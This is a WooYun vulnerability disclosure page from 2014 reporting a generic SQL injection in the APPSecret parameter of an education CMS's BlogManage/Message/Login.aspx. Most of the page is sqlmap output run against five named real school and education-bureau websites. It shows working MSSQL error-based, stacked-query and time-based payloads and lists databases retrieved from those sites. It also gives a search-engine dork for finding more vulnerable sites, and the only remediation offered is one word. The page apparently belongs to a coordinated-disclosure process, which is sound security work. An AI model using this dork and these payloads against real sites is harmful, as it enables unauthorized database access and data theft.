当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072039

漏洞标题:某用户量特别大的教育类CMS存在通用sql注入

相关厂商:cnvd

漏洞作者: Mosuan

提交时间:2014-08-12 19:06

修复时间:2014-11-10 19:10

公开时间:2014-11-10 19:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-12: 细节已通知厂商并且等待厂商处理中
2014-08-17: 厂商已经确认,细节仅向厂商公开
2014-08-20: 细节向第三方安全合作伙伴开放
2014-10-11: 细节向核心白帽子及相关领域专家公开
2014-10-21: 细节向普通白帽子公开
2014-10-31: 细节向实习白帽子公开
2014-11-10: 细节向公众公开

简要描述:

rt

详细说明:

或许我该说句祸不单行。
WooYun: 某用户量特别大的教育类CMS存在通用注入(全为Sa)
从这个漏洞发现的,他的漏洞是根目录下的login.aspx
这里是BlogManage/Message/Login.aspx
无视302跳转继续注入。
关键词

inurl:/NewsIndex.aspx?pkId=


搜索出来的网站去掉路径然后加上BlogManage/Message/Login.aspx?APPSecret=
举几个例子

注入地址:http://www.tcjyjt.com/BlogManage/Message/Login.aspx?APPSecret=
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 07:19:40
[07:19:40] [INFO] using 'C:\Documents and Settings\Administrator\桌面\sqlmap_GUI
汉化版(1)\sqlmap GUI汉化版\rar\output\www.tcjyjt.com\session' as session file
[07:19:40] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://www.tcjyjt.com/Login.aspx'. Do you want to
follow? [Y/n]
[07:19:42] [INFO] testing if the url is stable, wait a few seconds
[07:19:43] [WARNING] GET parameter 'APPSecret' appears to be not dynamic
[07:19:44] [WARNING] heuristic test shows that GET parameter 'APPSecret' might n
ot be injectable
[07:19:44] [INFO] testing sql injection on GET parameter 'APPSecret'
[07:19:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:19:50] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[07:19:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:19:54] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[07:19:56] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase AND
error-based - WHERE or HAVING clause' injectable
[07:19:56] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:19:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:19:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[07:20:08] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase stac
ked queries' injectable
[07:20:08] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:20:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[07:20:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[07:20:20] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase time
-based blind' injectable
[07:20:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[07:20:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'APPSecret' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 54 HTTP(s) requ
ests:
---
Place: GET
Parameter: APPSecret
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: APPSecret=' AND 5334=CONVERT(INT,(CHAR(58)+CHAR(108)+CHAR(113)+CHAR
(97)+CHAR(58)+(SELECT (CASE WHEN (5334=5334) THEN CHAR(49) ELSE CHAR(48) END))+C
HAR(58)+CHAR(117)+CHAR(118)+CHAR(120)+CHAR(58))) AND 'ONDG'='ONDG
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: APPSecret='; WAITFOR DELAY '0:0:5';-- AND 'HbmZ'='HbmZ
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: APPSecret=' WAITFOR DELAY '0:0:5'-- AND 'XLSW'='XLSW
---
[07:20:46] [INFO] testing MySQL
[07:20:46] [WARNING] the back-end DBMS is not MySQL
[07:20:46] [INFO] testing Oracle
[07:20:47] [WARNING] the back-end DBMS is not Oracle
[07:20:47] [INFO] testing PostgreSQL
[07:20:47] [WARNING] the back-end DBMS is not PostgreSQL
[07:20:47] [INFO] testing Microsoft SQL Server
[07:20:47] [INFO] confirming Microsoft SQL Server
[07:20:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[07:20:49] [INFO] fetching database names
[07:20:49] [INFO] the SQL query used returns 11 entries
[07:20:57] [INFO] fetching number of databases
[07:20:57] [INFO] retrieved:
[07:20:57] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
11
[07:21:14] [INFO] retrieved:
[07:21:20] [INFO] adjusting time delay to 2 seconds due to good response times
hztcjyjt
[07:23:11] [INFO] retrieved: hztcjyjtService
[07:26:28] [INFO] retrieved: master
[07:27:47] [INFO] retrieved: model
[07:28:58] [INFO] retrieved: msdb


注入地址:http://www.yc.e21.cn/BlogManage/Message/Login.aspx?APPSecret=
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 07:23:22
[07:23:22] [INFO] using 'C:\Documents and Settings\Administrator\桌面\sqlmap_GUI
汉化版(1)\sqlmap GUI汉化版\rar\output\www.yc.e21.cn\session' as session file
[07:23:22] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://www.yc.e21.cn/Login.aspx'. Do you want to f
ollow? [Y/n]
[07:23:24] [INFO] testing if the url is stable, wait a few seconds
[07:23:25] [WARNING] GET parameter 'APPSecret' appears to be not dynamic
[07:23:25] [WARNING] heuristic test shows that GET parameter 'APPSecret' might n
ot be injectable
[07:23:25] [INFO] testing sql injection on GET parameter 'APPSecret'
[07:23:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:23:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[07:23:31] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:23:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[07:23:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[07:23:35] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:23:57] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[07:23:57] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[07:23:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:24:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[07:24:11] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase stac
ked queries' injectable
[07:24:11] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:24:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[07:24:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[07:24:22] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase time
-based blind' injectable
[07:24:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[07:24:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[07:24:29] [INFO] checking if the injection point on GET parameter 'APPSecret' i
s a false positive
GET parameter 'APPSecret' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 72 HTTP(s) requ
ests:
---
Place: GET
Parameter: APPSecret
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: APPSecret='; WAITFOR DELAY '0:0:5';-- AND 'pYcN'='pYcN
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: APPSecret=' WAITFOR DELAY '0:0:5'-- AND 'YqBs'='YqBs
---
[07:24:48] [INFO] testing MySQL
[07:24:48] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[07:24:49] [WARNING] the back-end DBMS is not MySQL
[07:24:49] [INFO] testing Oracle
[07:24:49] [WARNING] the back-end DBMS is not Oracle
[07:24:49] [INFO] testing PostgreSQL
[07:24:49] [WARNING] the back-end DBMS is not PostgreSQL
[07:24:49] [INFO] testing Microsoft SQL Server
[07:24:55] [INFO] confirming Microsoft SQL Server
[07:25:05] [INFO] adjusting time delay to 2 seconds due to good response times
[07:25:06] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[07:25:06] [INFO] fetching database names
[07:25:06] [INFO] fetching number of databases
[07:25:06] [INFO] retrieved: 6
[07:25:15] [INFO] retrieved: ecs023
[07:26:17] [INFO] retrieved: ecs023service
[07:28:31] [INFO] retrieved: mast
[07:29:40] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
er
[07:29:58] [INFO] retrieved: model


注入地址:http://www.jhyzh.com/BlogManage/Message/Login.aspx?APPSecret=
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 07:23:50
[07:23:50] [INFO] using 'C:\Documents and Settings\Administrator\桌面\sqlmap_GUI
汉化版(1)\sqlmap GUI汉化版\rar\output\www.jhyzh.com\session' as session file
[07:23:50] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://www.jhyzh.com/Login.aspx'. Do you want to f
ollow? [Y/n]
[07:24:00] [INFO] testing if the url is stable, wait a few seconds
[07:24:02] [WARNING] GET parameter 'APPSecret' appears to be not dynamic
[07:24:02] [WARNING] heuristic test shows that GET parameter 'APPSecret' might n
ot be injectable
[07:24:02] [INFO] testing sql injection on GET parameter 'APPSecret'
[07:24:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:24:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[07:24:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:24:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[07:24:10] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase AND
error-based - WHERE or HAVING clause' injectable
[07:24:10] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:24:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:24:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[07:24:21] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase stac
ked queries' injectable
[07:24:21] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:24:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[07:24:21] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[07:24:32] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase time
-based blind' injectable
[07:24:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[07:24:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'APPSecret' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 54 HTTP(s) requ
ests:
---
Place: GET
Parameter: APPSecret
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: APPSecret=' AND 5171=CONVERT(INT,(CHAR(58)+CHAR(106)+CHAR(109)+CHAR
(99)+CHAR(58)+(SELECT (CASE WHEN (5171=5171) THEN CHAR(49) ELSE CHAR(48) END))+C
HAR(58)+CHAR(119)+CHAR(116)+CHAR(101)+CHAR(58))) AND 'slzZ'='slzZ
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: APPSecret='; WAITFOR DELAY '0:0:5';-- AND 'lMSR'='lMSR
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: APPSecret=' WAITFOR DELAY '0:0:5'-- AND 'xHcr'='xHcr
---
[07:24:46] [INFO] testing MySQL
[07:24:47] [WARNING] the back-end DBMS is not MySQL
[07:24:47] [INFO] testing Oracle
[07:24:47] [WARNING] the back-end DBMS is not Oracle
[07:24:47] [INFO] testing PostgreSQL
[07:24:47] [WARNING] the back-end DBMS is not PostgreSQL
[07:24:47] [INFO] testing Microsoft SQL Server
[07:24:47] [INFO] confirming Microsoft SQL Server
[07:24:48] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[07:24:48] [INFO] fetching database names
[07:24:49] [WARNING] the SQL query provided does not return any output
[07:24:49] [INFO] retrieved:
[07:24:49] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[07:24:51] [INFO] fetching number of databases
[07:24:51] [INFO] retrieved:
[07:25:07] [INFO] adjusting time delay to 2 seconds due to good response times
6
[07:25:09] [INFO] retrieved: jhyzh
[07:26:11] [INFO] retrieved: jhyzhService
[07:28:20] [INFO] retrieved: master
[07:29:26] [INFO] retrieved: model
[07:30:23] [INFO] retrieved: msdb


注入地址:http://www.ycjyw.net.cn/BlogManage/Message/Login.aspx?APPSecret=
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 07:25:13
[07:25:13] [INFO] using 'C:\Documents and Settings\Administrator\桌面\sqlmap_GUI
汉化版(1)\sqlmap GUI汉化版\rar\output\www.ycjyw.net.cn\session' as session file
[07:25:13] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://www.ycjyw.net.cn/Login.aspx'. Do you want t
o follow? [Y/n]
[07:25:14] [INFO] testing if the url is stable, wait a few seconds
[07:25:16] [WARNING] GET parameter 'APPSecret' appears to be not dynamic
[07:25:16] [WARNING] heuristic test shows that GET parameter 'APPSecret' might n
ot be injectable
[07:25:16] [INFO] testing sql injection on GET parameter 'APPSecret'
[07:25:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:25:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[07:25:21] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:25:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[07:25:23] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase AND
error-based - WHERE or HAVING clause' injectable
[07:25:23] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:25:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:25:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[07:25:35] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase stac
ked queries' injectable
[07:25:35] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:25:35] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[07:25:35] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[07:25:46] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase time
-based blind' injectable
[07:25:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[07:25:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'APPSecret' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 54 HTTP(s) requ
ests:
---
Place: GET
Parameter: APPSecret
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: APPSecret=' AND 5379=CONVERT(INT,(CHAR(58)+CHAR(99)+CHAR(122)+CHAR(
97)+CHAR(58)+(SELECT (CASE WHEN (5379=5379) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(117)+CHAR(103)+CHAR(108)+CHAR(58))) AND 'OuzR'='OuzR
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: APPSecret='; WAITFOR DELAY '0:0:5';-- AND 'OPfF'='OPfF
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: APPSecret=' WAITFOR DELAY '0:0:5'-- AND 'BNnX'='BNnX
---
[07:25:54] [INFO] testing MySQL
[07:25:54] [WARNING] the back-end DBMS is not MySQL
[07:25:54] [INFO] testing Oracle
[07:25:55] [WARNING] the back-end DBMS is not Oracle
[07:25:55] [INFO] testing PostgreSQL
[07:25:55] [WARNING] the back-end DBMS is not PostgreSQL
[07:25:55] [INFO] testing Microsoft SQL Server
[07:25:55] [INFO] confirming Microsoft SQL Server
[07:25:56] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[07:25:56] [INFO] fetching database names
[07:25:56] [INFO] the SQL query used returns 38 entries
[07:26:12] [INFO] fetching number of databases
[07:26:12] [INFO] retrieved:
[07:26:12] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[07:26:28] [INFO] adjusting time delay to 2 seconds due to good response times
38
[07:26:37] [INFO] retrieved: AdventureWorks


注入地址:http://www.zyjyj.cn/BlogManage/Message/Login.aspx?APPSecret=
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 07:26:42
[07:26:42] [INFO] using 'C:\Documents and Settings\Administrator\桌面\sqlmap_GUI
汉化版(1)\sqlmap GUI汉化版\rar\output\www.zyjyj.cn\session' as session file
[07:26:42] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://www.zyjyj.cn/Login.aspx'. Do you want to fo
llow? [Y/n]
[07:26:58] [INFO] testing if the url is stable, wait a few seconds
[07:27:00] [WARNING] GET parameter 'APPSecret' appears to be not dynamic
[07:27:00] [WARNING] heuristic test shows that GET parameter 'APPSecret' might n
ot be injectable
[07:27:00] [INFO] testing sql injection on GET parameter 'APPSecret'
[07:27:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:27:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[07:27:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:27:06] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[07:27:08] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[07:27:09] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:27:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:27:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[07:27:23] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase stac
ked queries' injectable
[07:27:23] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:27:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[07:27:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[07:27:34] [INFO] GET parameter 'APPSecret' is 'Microsoft SQL Server/Sybase time
-based blind' injectable
[07:27:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[07:27:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[07:27:41] [INFO] checking if the injection point on GET parameter 'APPSecret' i
s a false positive
GET parameter 'APPSecret' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 71 HTTP(s) requ
ests:
---
Place: GET
Parameter: APPSecret
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: APPSecret='; WAITFOR DELAY '0:0:5';-- AND 'hsvP'='hsvP
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: APPSecret=' WAITFOR DELAY '0:0:5'-- AND 'lNCb'='lNCb
---
[07:27:52] [INFO] testing MySQL
[07:27:52] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[07:27:52] [WARNING] the back-end DBMS is not MySQL
[07:27:52] [INFO] testing Oracle
[07:27:53] [WARNING] the back-end DBMS is not Oracle
[07:27:53] [INFO] testing PostgreSQL
[07:27:53] [WARNING] the back-end DBMS is not PostgreSQL
[07:27:53] [INFO] testing Microsoft SQL Server
[07:27:58] [INFO] confirming Microsoft SQL Server
[07:28:09] [INFO] adjusting time delay to 1 second due to good response times
[07:28:09] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[07:28:09] [INFO] fetching database names
[07:28:09] [INFO] fetching number of databases
[07:28:09] [INFO] retrieved: 7
[07:28:14] [INFO] retrieved: ecs013
[07:28:53] [INFO] retrieved: ecs013service
[07:30:17] [INFO] retrieved: jw2z
[07:30:48] [INFO] retrieved: mas

漏洞证明:

function

修复方案:

过滤。

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-08-17 13:06

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-12 19:08 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @疯狗 求首页